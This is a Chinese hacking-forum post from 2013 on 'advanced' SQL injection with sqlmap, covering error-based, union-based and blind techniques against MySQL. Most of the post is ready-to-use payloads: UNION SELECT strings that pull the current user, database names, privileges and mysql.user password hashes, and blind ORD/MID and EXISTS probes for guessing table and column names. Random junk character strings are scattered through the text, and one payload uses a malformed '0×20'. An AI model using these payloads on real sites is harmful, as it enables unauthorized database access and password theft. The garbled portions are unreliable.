找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2423|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
' ]( d1 W+ Q" R: } 6 Y: R  c- J$ N: z3 u
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
2 s, V! L8 h8 b4 C4 @
, z  l" p& G8 O8 `: f$ a分类标准        分类        备注3 `" ?: w: L$ ?. h2 q
按字段类型        整型注入,字符型注入       
* _; H4 ?7 P* X; F, R) R3 E" I" q按出现的位置        get注入,post注入,cookie注入,http header注入       
$ S3 u/ p. p. R7 x, F+ Q然而高级注入是这样的
2 f, F' R" R+ ?, z8 F9 g( F+ P ' D5 b: v. o* S
高级注入分类        条件# R- G/ u0 P' L; Q: t0 U
error-based sql        数据库的错误回显可以返回,存在数据库,表结构. T- X  s  t/ I" L7 x8 B) s5 c
union-based sql        能够使用union,存在数据库,表结构9 g- @, T: O" w5 B: z
blind sql        存在注入4 y  f# s; V; D$ z1 S; Y
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
* S3 `  t3 G7 u% h* A5 X4 I# j
% w+ \) e) q4 B* I  D8 U$ w0 Q8 l3 C( E好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
8 W2 `7 j' y2 y  \3 J8 ~ 9 v$ \, z5 y( {8 ]
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。1 Z/ c9 ], u( A

5 c. B( P3 _8 ]+ D这里用mysql说明' w2 [5 h4 E  b1 M# H0 l

+ w) F+ ]" q% q$ @/ y. Ve注入坛子里很多了,请看戳我或者再戳我' F! y$ n) `1 U( d. K: ~- g

, f, ~6 W# U( L: y, y' [$ Gu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的, I# ~" I! ]3 ?, ]! d
% k1 E  a/ p, d! v4 u, A  B% w
获取当前数据库用户名+ s! b# p; s7 i1 @/ D$ `! u1 o
  v1 V! B7 I' I& H' T
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C# u6 a  s$ P" g7 ]4 O
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL) _# p# H# `- t0 ~* l
L, NULL#% ^7 j+ s2 [9 e0 u0 O8 G
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。) K6 `1 z9 p) w! Q$ B- y  W- a8 v
7 I! w; b% \) S) w
获取数据库名
" L" j9 D& l) O+ n % I& H$ h: Y+ d1 C" I  n: P
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL## k- f: \! ?! r9 Y% {6 l
获取所有用户名& r! w, i+ L9 e  L) T
; y0 n9 P) P: r7 ~! x
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
4 U1 L2 O& H. q1 B查看当前用户权限" p# z% f0 C1 W% F5 G2 w" g
. S8 l) N. ?; J+ L# h- d7 d
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#9 m0 W% D, ^. x2 S/ U$ k: h* i
尝试获取密码,当然需要有能读mysql数据库的权限
9 Y! [( R% J, S, x( H' b 4 t  j: a% x  @4 e5 e4 U
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#8 T( s0 M# |8 y# a- x
获取表名,limit什么的自己搞啦
- o( M" X; v1 Q# S: {# g1 V, F
2 l" [  B' l2 o, cUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
1 n! x3 V2 b6 m+ U获取字段名及其类型
: A4 _3 Y6 d1 NUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#1 O6 _( K4 G7 X7 G

' H6 D, }4 q$ o+ wb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
8 t0 Q3 I, F' @/ s% J8 Z" r( | . g: _9 l9 d- A/ ?+ w
如:
, l* S, D( H5 L6 l, e- s- r获取当前用户名% _+ j  H! x: A6 N

+ w# J) T( T! n" }AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
( \( T& d7 T& k" y获取当前数据库- e& `/ [0 }- \$ F. _7 p
2 x/ _- W1 W; ~3 J
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106' B5 I0 ^2 P+ D4 Y. m$ |
获取表名* |+ {" _5 t; ^* \  o$ p* Y
: B$ ^  y' j3 H6 B5 F7 I; C
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51( O9 T) w& ]! t) W3 C( A* X( A
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。% `! `; J& U) S" O" ]9 Q
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
) L% R: S4 V  ?3 L  {) ^爆表0 H5 e3 s6 o, p& e* q4 J9 F# V

/ x  |1 q' F8 r& C( ^AND EXISTS(select * from table)/ L$ X6 D4 J: G2 N. F) o* S1 h
爆字段; e1 h; n  I2 u: W8 J; P
- a4 j- p2 `4 s- {
AND EXISTS(select pwd from table)9 p( H# {5 \; a
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
6 o" S0 O& U' y # y. K0 L+ J  ^0 z
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
+ F5 L7 ?; a6 P3 N' c+ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表